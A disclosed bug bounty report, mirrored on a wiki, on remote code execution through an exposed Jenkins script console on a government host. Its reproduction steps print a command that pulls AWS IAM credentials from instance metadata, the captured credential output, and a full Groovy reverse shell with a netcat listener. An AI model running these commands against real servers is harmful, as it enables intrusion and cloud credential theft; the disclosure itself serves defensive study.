Skip to content
RCE Disclosed report Beginner

Remote Code Execution and AWS IAM Credentials Exfiltration in https://████████/

The Jenkins script console was enabled, allowing system command execution. This enabled retrieval of AWS IAM credentials from instance metadata and a reverse shell.

shuvam321 Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 23 hours
  • Fixed in 14 months
  • Disclosed after 17 months

Description: The host https://██████/ has /jenkins/script directory enabled that allows user to execute system command in the host.

References

https://hackerone.com/reports/768266

Impact

Attacker can use the IAM credentials to manage various AWS resources, create and delete resources, read and write data in AWS services, create and manage other IAM users and roles, access the AWS Management Console, use the AWS Command Line Interface (CLI). In addition, attacker can obtain a reverse shell and takeover the vulnerable server.

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

  1. Go to https://███/jenkins/script and enter the following command and click on run.

println "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonSSMRoleForInstancesQuickSetup".execute().text

{
  "Code" : "Success",
  "LastUpdated" : "2023-07-25T15:06:03Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAVAYADSOPOZ46OKUF",
  "SecretAccessKey" : "zktjDluq7fiPeRPZ/Ptdj0f/RpifcpiverrHZPY9",
  "Token" : "FwoDYXdzEC4aDOSTrvC1+12bsyz/YCLpBJSWuycc/qloo+gbOS0H0HDHj+qAV6rldadbawPMkpUC2kyF9UW3rayH29j3MQNMDDxoPZTpnWLYuIbBl1iaYciwrOVemd6OTSDTyoAz9JjO1Cc3svhv58rhTx1c+FWpQKxtOgiLPEJWT/sPfdEJDAcLoXfyDi7lLWD5ydyHuKWngG8ZBG/5Ik170XOpYeZpSpJ/pspBNnzbf5dPJo/QVNWN+hoY8+WrK4Hko7y04Z/ZwJWO3Q6DYVM2OSARheKUnih8NrX6pROliySxRzj3fedhz2h95axbt+up+HwvszZv+ksQmZdAOFL4iI8oXWF6RgWz7Mkyot+o+Zk4fKRBZOad0iDg0NjaNvZSOWHCx+Bd55lq/rMmthcYubHgGtLXS8F9cJShYjysU9pDK9M7Hd644KmSVgvRe0pCV4GgwOAqKdSYVQn7A2cBeO4ROL712adCz8wzYDMRavHK8mfeKCd5qAfrd7z7BGIiaIeEYJ52CglOpUFywMnlmPNN1V/Rvih1YX0Ndq0yNso9Rj1FUtiLTWysCkm/YGCK68TILlEX7UaJV3keGpMkpCULsGkcH23RZmp8NjYoIf7okJ28ygVW4GYWF48MWVm96HWDRGJ951x3IOIZBdOhgKrVRQJLUXgVjDwm1QroAyYTRSiLw9YrR5jmN6ONfYnyh06qpl1PUz8C1+iXtRQIjzWjaaHLh2YQERTIo/ejCERtoM/AEjhB6DhdlroSvuPNjD03NPYtxd87vUuG7gsZSYqXOOsU3sYiJra3UrbA9vFR/BmnJcXbxcsWMtCCs9syRp9r+2V3qT6ppN2i5Im9KI/K/6UGMkHbC2LUgZo1VIbWCrN+ePxqijy1CUe9r98gOm9Z2rxKQ+CfKjPJo0nvYc3Z8UmxqKpeG2dtOpW8OYuQZivCMR5ifg==",
  "Expiration" : "2023-07-25T21:32:22Z"
}
  1. IAM Credentials will be disclosed.

  2. To get a reverse shell use this command.

In vulnerable host

String host="your_server_ip";
int port=1337;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

In your host

nc -nvlp 1337
  1. You will receive a reverse shell as user jenkins.

██████

Suggested Mitigation/Remediation Actions

Restrict access to /jenkins/script directory.

The original report as published on HackerOne, by shuvam321. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Jenkins script console was accessible without authentication or authorization.

Impact

An attacker could obtain AWS IAM credentials to manage AWS resources and gain a reverse shell to take over the server.

What the attacker needed

Network access to the Jenkins instance; Access to the enabled script console

The fix

Access to the Jenkins script console should be restricted to authenticated administrators.

How it was found

  1. Navigate to the Jenkins script console URL.
  2. Enter a command to fetch IAM credentials from the metadata service and run it.
  3. Observe the IAM credentials in the output.
  4. Use a reverse shell command in the script console.
  5. Start a listener on the attacker's host.
  6. Receive a reverse shell as the jenkins user.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The Jenkins script console lets users run code on the server. Here it was enabled, so an attacker could run commands, steal cloud credentials, and take over the machine.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by shuvam321

View all

10 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.